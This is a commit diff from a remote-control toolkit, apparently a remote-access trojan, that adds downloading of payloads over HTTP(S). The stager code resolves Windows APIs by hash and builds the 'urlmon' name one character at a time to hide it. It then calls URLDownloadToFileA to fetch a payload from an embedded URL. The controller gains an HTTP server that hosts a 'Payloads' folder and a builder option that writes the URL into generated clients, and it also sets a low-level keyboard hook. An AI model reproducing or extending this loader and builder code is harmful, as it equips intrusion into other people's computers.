mirror of
https://github.com/yuanyuanxiang/SimpleRemoter.git
synced 2026-01-21 23:13:08 +08:00
Feature: Support download payload from http(s) server
This commit is contained in:
@@ -9,6 +9,7 @@ struct {
|
||||
int offset;
|
||||
char file[_MAX_PATH];
|
||||
char targetDir[_MAX_PATH];
|
||||
char downloadUrl[_MAX_PATH];
|
||||
} sc = { "Hello, World!" };
|
||||
|
||||
#define Kernel32Lib_Hash 0x1cca9ce6
|
||||
@@ -34,6 +35,9 @@ typedef DWORD(WINAPI* _GetModuleFileName)(HMODULE hModule, LPSTR lpFilename, DWO
|
||||
#define SetFilePointer_Hash 1978850691
|
||||
typedef DWORD(WINAPI* _SetFilePointer)(HANDLE hFile, LONG lDistanceToMove, PLONG lpDistanceToMoveHigh, DWORD dwMoveMethod);
|
||||
|
||||
#define IsFileExist_Hash 1123472280
|
||||
typedef DWORD(WINAPI* _IsFileExist)(LPCSTR lpFileName);
|
||||
|
||||
#define CreateFileA_Hash 1470354217
|
||||
typedef HANDLE(WINAPI* _CreateFileA)(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes,
|
||||
DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile);
|
||||
@@ -50,6 +54,9 @@ typedef BOOL(WINAPI* _CopyFileA)(LPCSTR lpExistingFileName, LPCSTR lpNewFileName
|
||||
#define CloseHandle_Hash 110641196
|
||||
typedef BOOL(WINAPI* _CloseHandle)(HANDLE hObject);
|
||||
|
||||
#define Download_Hash 557506787
|
||||
typedef HRESULT (WINAPI* _Download)(LPUNKNOWN, LPCSTR, LPCSTR, DWORD, LPBINDSTATUSCALLBACK);
|
||||
|
||||
typedef struct _UNICODE_STR {
|
||||
USHORT Length;
|
||||
USHORT MaximumLength;
|
||||
@@ -257,6 +264,7 @@ int entry()
|
||||
_DeleteFileA DeleteFileA = (_DeleteFileA)get_proc_address_from_hash(kernel32, DeleteFileA_Hash, GetProcAddress);
|
||||
_CopyFileA CopyFileA = (_CopyFileA)get_proc_address_from_hash(kernel32, CopyFileA_Hash, GetProcAddress);
|
||||
_CloseHandle CloseHandle = (_CloseHandle)get_proc_address_from_hash(kernel32, CloseHandle_Hash, GetProcAddress);
|
||||
_IsFileExist IsFileExist = (_IsFileExist)get_proc_address_from_hash(kernel32, IsFileExist_Hash, GetProcAddress);
|
||||
|
||||
if (!sc.file[0]) GetModulePath(NULL, sc.file, MAX_PATH);
|
||||
char* file = sc.file, dstFile[2 * MAX_PATH];
|
||||
@@ -265,12 +273,17 @@ int entry()
|
||||
GetModulePath(NULL, curExe, MAX_PATH);
|
||||
while (*dir) *p++ = *dir++; *p++ = '\\';
|
||||
while (*file) *p++ = *file++; *p = '\0';
|
||||
char name[] = { 'u','r','l','m','o','n','\0' };
|
||||
HMODULE urlmon = LoadLibraryA(name);
|
||||
_Download URLDownloadToFileA = urlmon ? (_Download)get_proc_address_from_hash(urlmon, Download_Hash, GetProcAddress) : NULL;
|
||||
if (sc.downloadUrl[0] && IsFileExist(dstFile) == INVALID_FILE_ATTRIBUTES && URLDownloadToFileA) {
|
||||
if (FAILED(URLDownloadToFileA(NULL, sc.downloadUrl, dstFile, 0, NULL))) return(-1);
|
||||
}
|
||||
file = dstFile;
|
||||
if (!strstr(curExe, sc.targetDir)) {
|
||||
DeleteFileA(dstFile);
|
||||
BOOL b = CopyFileA(sc.file, dstFile, FALSE);
|
||||
DeleteFileA(sc.file);
|
||||
if (!b) return(2);
|
||||
if (IsFileExist(dstFile) == INVALID_FILE_ATTRIBUTES) return(2);
|
||||
}
|
||||
}
|
||||
HANDLE hFile = CreateFileA(file, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
|
||||
|
||||
Binary file not shown.
@@ -481,6 +481,10 @@ CMy2015RemoteDlg::~CMy2015RemoteDlg()
|
||||
MemoryFreeLibrary(m_tinyDLL);
|
||||
m_tinyDLL = NULL;
|
||||
}
|
||||
if (m_FileServer) {
|
||||
m_FileServer->Stop();
|
||||
SAFE_DELETE(m_FileServer);
|
||||
}
|
||||
}
|
||||
|
||||
void CMy2015RemoteDlg::DoDataExchange(CDataExchange* pDX)
|
||||
@@ -1150,6 +1154,12 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
|
||||
THIS_CFG.SetStr("settings", "PwdHash", GetPwdHash());
|
||||
THIS_CFG.SetStr("settings", "MasterHash", GetMasterHash());
|
||||
|
||||
UPDATE_SPLASH(16, "正在启动下载服务...");
|
||||
m_FileServer = new FileDownloadServer(THIS_CFG.GetInt("settings", "FileSvrPort", 80));
|
||||
if (!m_FileServer->Start()) {
|
||||
THIS_APP->MessageBoxA("下载服务启动失败,可能是端口被占用了。", "提示");
|
||||
}
|
||||
|
||||
UPDATE_SPLASH(20, "正在初始化文件上传模块...");
|
||||
int ret = InitFileUpload(GetHMAC(), 64, 50, Logf);
|
||||
g_hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, AfxGetInstanceHandle(), 0);
|
||||
|
||||
@@ -7,6 +7,7 @@
|
||||
#include "IOCPServer.h"
|
||||
#include <common/location.h>
|
||||
#include <map>
|
||||
#include"file_server.h"
|
||||
|
||||
//////////////////////////////////////////////////////////////////////////
|
||||
// 以下为特殊需求使用
|
||||
@@ -187,6 +188,7 @@ protected:
|
||||
DWORD g_StartTick;
|
||||
BOOL m_bHookWIN = TRUE;
|
||||
BOOL m_runNormal = FALSE;
|
||||
FileDownloadServer* m_FileServer = nullptr;
|
||||
// 生成的消息映射函数
|
||||
virtual BOOL OnInitDialog();
|
||||
afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
|
||||
|
||||
@@ -103,6 +103,7 @@
|
||||
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<OpenMPSupport>false</OpenMPSupport>
|
||||
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
|
||||
<LanguageStandard>stdcpp17</LanguageStandard>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
@@ -135,6 +136,7 @@
|
||||
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<OpenMPSupport>false</OpenMPSupport>
|
||||
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
|
||||
<LanguageStandard>stdcpp17</LanguageStandard>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
@@ -167,6 +169,7 @@
|
||||
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<OpenMPSupport>false</OpenMPSupport>
|
||||
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
|
||||
<LanguageStandard>stdcpp17</LanguageStandard>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
@@ -201,6 +204,7 @@
|
||||
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<OpenMPSupport>false</OpenMPSupport>
|
||||
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
|
||||
<LanguageStandard>stdcpp17</LanguageStandard>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
|
||||
@@ -108,6 +108,7 @@ CBuildDlg::CBuildDlg(CWnd* pParent)
|
||||
, m_strEncryptIP(_T("是"))
|
||||
, m_sInstallDir(_T(""))
|
||||
, m_sInstallName(_T(""))
|
||||
, m_sDownloadUrl(_T(""))
|
||||
{
|
||||
|
||||
}
|
||||
@@ -140,6 +141,11 @@ void CBuildDlg::DoDataExchange(CDataExchange* pDX)
|
||||
DDV_MaxChars(pDX, m_sInstallDir, 31);
|
||||
DDX_Text(pDX, IDC_EDIT_INSTALL_NAME, m_sInstallName);
|
||||
DDV_MaxChars(pDX, m_sInstallName, 31);
|
||||
DDX_Control(pDX, IDC_CHECK_FILESERVER, m_BtnFileServer);
|
||||
DDX_Control(pDX, IDC_STATIC_DOWNLOAD, m_StaticDownload);
|
||||
DDX_Control(pDX, IDC_EDIT_DOWNLOAD_URL, m_EditDownloadUrl);
|
||||
DDX_Text(pDX, IDC_EDIT_DOWNLOAD_URL, m_sDownloadUrl);
|
||||
DDV_MaxChars(pDX, m_sDownloadUrl, 255);
|
||||
}
|
||||
|
||||
|
||||
@@ -157,6 +163,8 @@ BEGIN_MESSAGE_MAP(CBuildDlg, CDialog)
|
||||
ON_EN_KILLFOCUS(IDC_EDIT_INSTALL_DIR, &CBuildDlg::OnEnKillfocusEditInstallDir)
|
||||
ON_EN_KILLFOCUS(IDC_EDIT_INSTALL_NAME, &CBuildDlg::OnEnKillfocusEditInstallName)
|
||||
ON_COMMAND(ID_RANDOM_NAME, &CBuildDlg::OnRandomName)
|
||||
ON_BN_CLICKED(IDC_CHECK_FILESERVER, &CBuildDlg::OnBnClickedCheckFileserver)
|
||||
ON_CBN_SELCHANGE(IDC_COMBO_PAYLOAD, &CBuildDlg::OnCbnSelchangeComboPayload)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
@@ -202,6 +210,7 @@ typedef struct SCInfo {
|
||||
int offset;
|
||||
char file[_MAX_PATH];
|
||||
char targetDir[_MAX_PATH];
|
||||
char downloadUrl[_MAX_PATH];
|
||||
} SCInfo;
|
||||
|
||||
#define GetAddr(mod, name) GetProcAddress(GetModuleHandleA(mod), name)
|
||||
@@ -280,6 +289,12 @@ bool IsValidFileName(const CString& strName)
|
||||
return true;
|
||||
}
|
||||
|
||||
CString BuildPayloadUrl(const char* ip, const char* name) {
|
||||
static int port = THIS_CFG.GetInt("settings", "FileSvrPort", 80);
|
||||
CString url = CString("http://") + CString(ip) + ":" + std::to_string(port).c_str() + CString("/payloads/") + name;
|
||||
return url;
|
||||
}
|
||||
|
||||
void CBuildDlg::OnBnClickedOk()
|
||||
{
|
||||
UpdateData(TRUE);
|
||||
@@ -478,7 +493,12 @@ void CBuildDlg::OnBnClickedOk()
|
||||
sc->offset = n == Payload_Raw ? 0 : GetFileSize(payload);
|
||||
strcpy(sc->file, PathFindFileNameA(payload));
|
||||
strcpy(sc->targetDir, targetDir);
|
||||
tip = payload.IsEmpty() ? "\r\n警告: 没有生成载荷!" : "\r\n提示: 载荷文件必须拷贝至程序目录。";
|
||||
BOOL checked = m_BtnFileServer.GetCheck() == BST_CHECKED;
|
||||
if (checked){
|
||||
strcpy(sc->downloadUrl, m_sDownloadUrl.IsEmpty() ? BuildPayloadUrl(m_strIP, sc->file) : m_sDownloadUrl);
|
||||
}
|
||||
tip = payload.IsEmpty() ? "\r\n警告: 没有生成载荷!" :
|
||||
checked ? "\r\n提示: 载荷文件必须拷贝至\"Payloads\"目录。" : "\r\n提示: 载荷文件必须拷贝至程序目录。";
|
||||
}
|
||||
BOOL r = WriteBinaryToFile(strSeverFile.GetString(), (char*)data, dwSize);
|
||||
if (r) {
|
||||
@@ -593,14 +613,14 @@ BOOL CBuildDlg::OnInitDialog()
|
||||
|
||||
m_ComboEncrypt.InsertString(PROTOCOL_SHINE, "Shine");
|
||||
m_ComboEncrypt.InsertString(PROTOCOL_HELL, "HELL");
|
||||
m_ComboEncrypt.SetCurSel(PROTOCOL_SHINE);
|
||||
m_ComboEncrypt.SetCurSel(PROTOCOL_HELL);
|
||||
|
||||
m_ComboCompress.InsertString(CLIENT_COMPRESS_NONE, "无");
|
||||
m_ComboCompress.InsertString(CLIENT_COMPRESS_UPX, "UPX");
|
||||
m_ComboCompress.InsertString(CLIENT_COMPRESS_SC_AES, "ShellCode AES");
|
||||
m_ComboCompress.InsertString(CLIENT_PE_TO_SEHLLCODE, "PE->ShellCode");
|
||||
m_ComboCompress.InsertString(CLIENT_COMPRESS_SC_AES_OLD, "ShellCode AES<Old>");
|
||||
m_ComboCompress.SetCurSel(CLIENT_COMPRESS_NONE);
|
||||
m_ComboCompress.SetCurSel(CLIENT_COMPRESS_SC_AES_OLD);
|
||||
|
||||
m_ComboPayload.InsertString(Payload_Self, "载荷写入当前程序尾部");
|
||||
m_ComboPayload.InsertString(Payload_Raw, "载荷写入单独的二进制文件");
|
||||
@@ -613,6 +633,11 @@ BOOL CBuildDlg::OnInitDialog()
|
||||
m_ComboPayload.ShowWindow(SW_HIDE);
|
||||
m_StaticPayload.ShowWindow(SW_HIDE);
|
||||
|
||||
m_BtnFileServer.ShowWindow(SW_HIDE);
|
||||
m_BtnFileServer.SetCheck(BST_UNCHECKED);
|
||||
m_StaticDownload.ShowWindow(SW_HIDE);
|
||||
m_EditDownloadUrl.ShowWindow(SW_HIDE);
|
||||
|
||||
m_OtherItem.ShowWindow(SW_HIDE);
|
||||
|
||||
m_runasAdmin = FALSE;
|
||||
@@ -733,6 +758,11 @@ void CBuildDlg::OnCbnSelchangeComboCompress()
|
||||
m_ComboPayload.ShowWindow(m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_SC_AES ? SW_SHOW : SW_HIDE);
|
||||
m_StaticPayload.ShowWindow(m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_SC_AES ? SW_SHOW : SW_HIDE);
|
||||
m_ComboPayload.SetFocus();
|
||||
m_BtnFileServer.ShowWindow(
|
||||
m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_SC_AES && m_ComboPayload.GetCurSel() ? SW_SHOW : SW_HIDE);
|
||||
m_BtnFileServer.SetCheck(BST_UNCHECKED);
|
||||
m_StaticDownload.ShowWindow(SW_HIDE);
|
||||
m_EditDownloadUrl.ShowWindow(SW_HIDE);
|
||||
static bool warned = false;
|
||||
if (m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_SC_AES && !warned) {
|
||||
warned = true;
|
||||
@@ -871,3 +901,26 @@ void CBuildDlg::OnRandomName()
|
||||
SubMenu->CheckMenuItem(ID_RANDOM_NAME, b ? MF_CHECKED : MF_UNCHECKED);
|
||||
THIS_CFG.SetInt("settings", "RandomName", b);
|
||||
}
|
||||
|
||||
void CBuildDlg::OnBnClickedCheckFileserver()
|
||||
{
|
||||
BOOL checked = m_BtnFileServer.GetCheck() == BST_CHECKED;
|
||||
m_StaticDownload.ShowWindow(checked ? SW_SHOW : SW_HIDE);
|
||||
m_EditDownloadUrl.ShowWindow(checked ? SW_SHOW : SW_HIDE);
|
||||
static bool warned = false;
|
||||
if (!warned && checked) {
|
||||
warned = true;
|
||||
MessageBoxA("请提供载荷的下载地址。下载地址前缀为 http 或 https。"
|
||||
"默认由本机提供载荷下载服务,请将载荷文件放在\"Payloads\"目录。"
|
||||
"由本机提供下载时,下载地址可以省略输入。", "提示", MB_ICONINFORMATION);
|
||||
}
|
||||
}
|
||||
|
||||
void CBuildDlg::OnCbnSelchangeComboPayload()
|
||||
{
|
||||
m_BtnFileServer.ShowWindow(
|
||||
m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_SC_AES && m_ComboPayload.GetCurSel() ? SW_SHOW : SW_HIDE);
|
||||
m_BtnFileServer.SetCheck(BST_UNCHECKED);
|
||||
m_StaticDownload.ShowWindow(SW_HIDE);
|
||||
m_EditDownloadUrl.ShowWindow(SW_HIDE);
|
||||
}
|
||||
|
||||
@@ -62,4 +62,10 @@ public:
|
||||
afx_msg void OnEnKillfocusEditInstallDir();
|
||||
afx_msg void OnEnKillfocusEditInstallName();
|
||||
afx_msg void OnRandomName();
|
||||
CButton m_BtnFileServer;
|
||||
CStatic m_StaticDownload;
|
||||
CEdit m_EditDownloadUrl;
|
||||
CString m_sDownloadUrl;
|
||||
afx_msg void OnBnClickedCheckFileserver();
|
||||
afx_msg void OnCbnSelchangeComboPayload();
|
||||
};
|
||||
|
||||
91
server/2015Remote/file_server.h
Normal file
91
server/2015Remote/file_server.h
Normal file
@@ -0,0 +1,91 @@
|
||||
#include <Windows.h>
|
||||
#include <string>
|
||||
#include <thread>
|
||||
#include <filesystem>
|
||||
#include <fstream>
|
||||
|
||||
#undef min
|
||||
#undef max
|
||||
#include "httplib.h"
|
||||
#ifndef max
|
||||
#define max(a,b) (((a) > (b)) ? (a) : (b))
|
||||
#endif
|
||||
#ifndef min
|
||||
#define min(a,b) (((a) < (b)) ? (a) : (b))
|
||||
#endif
|
||||
|
||||
#pragma comment(lib, "ws2_32.lib")
|
||||
|
||||
namespace fs = std::filesystem;
|
||||
|
||||
class FileDownloadServer {
|
||||
public:
|
||||
FileDownloadServer(int port = 8080) : port_(port) {
|
||||
char exe_path[MAX_PATH];
|
||||
GetModuleFileNameA(NULL, exe_path, MAX_PATH);
|
||||
root_dir_ = fs::path(exe_path).parent_path() / "Payloads";
|
||||
fs::create_directories(root_dir_);
|
||||
}
|
||||
|
||||
bool Start() {
|
||||
server_.Get("/payloads/(.*)", [this](const httplib::Request& req, httplib::Response& res) {
|
||||
std::string filename = req.matches[1];
|
||||
|
||||
if (filename.empty() || filename.find("..") != std::string::npos) {
|
||||
res.status = 403;
|
||||
return;
|
||||
}
|
||||
|
||||
fs::path filepath = root_dir_ / filename;
|
||||
|
||||
if (!fs::exists(filepath) || !fs::is_regular_file(filepath)) {
|
||||
res.status = 404;
|
||||
return;
|
||||
}
|
||||
|
||||
auto filesize = fs::file_size(filepath);
|
||||
std::string path_str = filepath.string();
|
||||
|
||||
res.set_header("Content-Disposition",
|
||||
"attachment; filename=\"" + filename + "\"");
|
||||
|
||||
res.set_content_provider(filesize, "application/octet-stream",
|
||||
[path_str](size_t offset, size_t length, httplib::DataSink& sink) {
|
||||
std::ifstream file(path_str, std::ios::binary);
|
||||
if (!file) return false;
|
||||
file.seekg(offset);
|
||||
|
||||
char buffer[65536];
|
||||
size_t remaining = length;
|
||||
while (remaining > 0 && file) {
|
||||
size_t to_read = (std::min)(remaining, sizeof(buffer));
|
||||
file.read(buffer, to_read);
|
||||
size_t n = (size_t)file.gcount();
|
||||
if (n == 0) break;
|
||||
sink.write(buffer, n);
|
||||
remaining -= n;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
);
|
||||
});
|
||||
|
||||
server_thread_ = std::thread([this]() {
|
||||
server_.listen("0.0.0.0", port_);
|
||||
});
|
||||
|
||||
std::this_thread::sleep_for(std::chrono::milliseconds(100));
|
||||
return server_.is_running();
|
||||
}
|
||||
|
||||
void Stop() {
|
||||
server_.stop();
|
||||
if (server_thread_.joinable()) server_thread_.join();
|
||||
}
|
||||
|
||||
private:
|
||||
httplib::Server server_;
|
||||
fs::path root_dir_;
|
||||
int port_;
|
||||
std::thread server_thread_;
|
||||
};
|
||||
9370
server/2015Remote/httplib.h
Normal file
9370
server/2015Remote/httplib.h
Normal file
File diff suppressed because it is too large
Load Diff
@@ -196,7 +196,6 @@
|
||||
#define IDD_TOOLBAR_DLG 318
|
||||
#define IDD_DIALOG_FILESEND 320
|
||||
#define IDR_SCLOADER_X86_OLD 322
|
||||
#define IDR_BINARY7 323
|
||||
#define IDR_SCLOADER_X64_OLD 323
|
||||
#define IDC_MESSAGE 1000
|
||||
#define IDC_ONLINE 1001
|
||||
@@ -441,6 +440,10 @@
|
||||
#define IDC_BTN_POSITION 2219
|
||||
#define IDC_BTN_OPACITY 2220
|
||||
#define IDC_BTN_SCREENSHOT 2221
|
||||
#define IDC_CHECK1 2222
|
||||
#define IDC_CHECK_FILESERVER 2222
|
||||
#define IDC_STATIC_DOWNLOAD 2223
|
||||
#define IDC_EDIT_DOWNLOAD_URL 2224
|
||||
#define ID_ONLINE_UPDATE 32772
|
||||
#define ID_ONLINE_MESSAGE 32773
|
||||
#define ID_ONLINE_DELETE 32775
|
||||
@@ -627,7 +630,7 @@
|
||||
#ifndef APSTUDIO_READONLY_SYMBOLS
|
||||
#define _APS_NEXT_RESOURCE_VALUE 324
|
||||
#define _APS_NEXT_COMMAND_VALUE 32995
|
||||
#define _APS_NEXT_CONTROL_VALUE 2222
|
||||
#define _APS_NEXT_CONTROL_VALUE 2225
|
||||
#define _APS_NEXT_SYMED_VALUE 105
|
||||
#endif
|
||||
#endif
|
||||
|
||||
Reference in New Issue
Block a user